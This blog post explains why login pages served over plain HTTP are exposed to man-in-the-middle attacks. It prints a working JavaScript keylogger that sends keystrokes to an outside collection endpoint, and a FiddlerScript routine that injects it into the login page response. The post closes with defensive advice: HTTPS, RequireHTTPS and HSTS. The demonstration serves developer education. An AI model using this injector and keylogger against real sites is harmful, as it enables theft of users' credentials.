Custom Development

Hacking an Insecure Login

Max McCarty

Setting up SSL/TLS on sites has gotten easier and cheaper, but it has always been the Achilles heel for a lot of web developers. One of the most common problems is not serving the login landing page over HTTPS.

Developers need to understand why it is important to serve the login landing page over HTTPS and how posting the user's credentials over HTTPS is not enough.

Hacking an Insecure Login Form
To demonstrate the vulnerabilities that can be exploited on an insecure login landing page, I stood up a Microsoft Azure site SSLGotchas.com. On this site, the login landing page below is loaded insecurely over HTTP.
McCarty-SSLGotchas.pngThere hasn't been any sensitive data exchange in this simple GET for the login form over HTTP. Therefore, as long as we post the users credentials over HTTPS, we won't be exposing the data in plan view/text of anyone listening (e.g. a packet sniffer https://www.wireshark.org or running a wireless adapter that supports promiscuous mode such as Alpa AWUS036NH).

Our form will post to a secure endpoint https://sslgotchas.com as seen below:

McCarty-SSLGotchas2.pngFinally, we can successfully, login after posting to the above secure route https://sslogotchas.com/account/login.

McCarty-SSLGotchas3.pngWhy is this a problem? By loading a page over HTTP only to post to HTTPS, we lose one of the cornerstones of SSL/TLS, integrity. SSL/TLS provides integrity by ensuring that there has not been a compromise of the communication and the data in transit has not been tampered with. Therefore, it leaves the communication completely open to man-in-the-middle attacks.

The man-in-the-middle can come in a number of flavors; someone sitting in your favorite Starbucks with a Wifi Pineapple, or a malware infected computer which potentially has the ability to inject itself into the communication, again because it is unprotected over HTTP.

We're going to use Fiddler for our M-i-t-m to demonstrate exactly what will happen. Fiddler will inject a small snippet of JavaScript (seen below) which is a key logger I set up to send the captured key presses to an Azure API that stores the entries in table storage.

    <script type="text/javascript">
        var bufferedData = [];
        var attacker = "http://stoleyourscribbles.azurewebsites.net/api/scribbles/stolen?data=";
        document.onkeypress = function(e) {
            bufferedData.push(String.fromCharCode(e.keyCode));
        }

        window.setInterval(function() {
            if (bufferedData.length > 0) {
                var data = encodeURIComponent(JSON.stringify(bufferedData));
                new Image().src = attacker + data;
                bufferedData = [];
            }
        }, 8000);
    </script>


This JavaScript will be injected in the response of the GET request for the login landing page, the one that was requested over HTTP:

    static function OnBeforeResponse(oSession: Session) {
        if (m_Hide304s && oSession.responseCode == 304) {
        oSession["ui-hide"] = "true";
    }

    if (oSession.oResponse.headers.ExistsAndContains("Content-Type", "html") &&
        oSession.HostnameIs("sslgotchas.com")) {

            // Remove any compression or chunking
           oSession.utilDecodeResponse();

           var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);

            // Find the end of the HEAD script, so you can inject script block there.
           var oRegEx = oRegEx = /(<\/head>)/gi
            // replace the head-close tag with new-script + head-close
            oBody = oBody.replace(oRegEx, "<script type='text/javascript'>var bufferedData = [];var attacker = " + '\n' +
              "'" + "http://stoleyourscribbles.azurewebsites.net/api/scribbles/stolen?data=" + "';" + '\n' +
              "document.onkeypress = function(e) {bufferedData.push(String.fromCharCode(e.keyCode));}" + '\n' +
               "window.setInterval(function() {" + "if (bufferedData.length > 0) {" + "var data = encodeURIComponent(JSON.stringify(bufferedData));" + '\n' +
               "new Image().src = attacker + data;" + "bufferedData = [];" + "}}, 8000);" + '\n' +

               "</script></head>");

           // Set the response body to the changed body string
          oSession.utilSetResponseBody(oBody);
        }
    }

Leveraging Fiddler Script to modify the response, the JavaScript above will be injected in the response of the GET request for the login landing page, the one that was requested over HTTP:

McCarty-SSLGotchas4.pngWith the key logger injected into the site, every 8 seconds it will capture any key presses and send the results to a complete independent site endpoint at http://stoleyourscribbles.azurewebsites.net/api/scribbles/stolen. Now, don't get hung up on the 8 seconds, that's only what I set it to for easier display of the entries on the backend which we'll look at next. It could be milliseconds or more often if we like.

McCarty-SSLGotchas5.png
The end result is entries in Azure Table storage, which in our example represent the user's credentials (view of Azure Storage Explorer 6):

McCarty-SSLGotchas6.pngI could have gotten a lot fancier and more human-consumable by rolling out the captured data to various sites and grouping it based on additional information. But the point I think is clear.

None of this would have been possible, if the initial login landing page was loaded over HTTPS. In that case, the communications would be secure, and you would have preserved the integrity of the data in transit from someone manipulating the response.


Don’t Forget Server Validity
Another cornerstone of SSL/TLS is server validity. We're making the assumption that the underlying endpoint where these credentials will be posted to is not only a legit server, but the server that we expect. Part of the handshake setting up a secure communication between the browser and the server is validating the server. That hasn't happened, and there is no verification before these credentials are sent off to the ether.

We can put additional validations in place (such as ASP.NET’s [RequireHTTPS] attribute) to ensure that resources that should be served over HTTPS can only be requested over HTTPS. Or through policies such as HTTP Strict Transport Security (HSTS) as examples of proactive measures. But, the bottom line is that even the login landing page must be served over HTTPS.

Conclusion
In the end, it is up to us developers to understand why serving even the login landing page over HTTPS is so important. Apparently, Mozilla agrees because, while I was writing this post, Firefox decided to explicitly warn in their developer build (starting in DevEdition 46) if you attempt to load a login page insecurely. When it comes to undermining the security of an application, it only takes finding the weakest link. In the case of circumventing the security provided by SSL, if an attacker can gain access before SSL is in place, then the damage is already done.

Max McCarty
ABOUT THE AUTHOR

Max McCarty is a Senior Technical Consultant at Summa with a passion for breathing life into big ideas. He is the founder and owner of LockMeDown.com and host of the popular Lock Me Down podcast. As a software engineer, Max’s focus is on software security, and strongly believes in empowering the everyday developer with the information to write more secure software. When he’s not building new applications or writing about web security, you’ll find Max burning calories with his kids and spending time with his wonderful family. He’s also a serious history buff.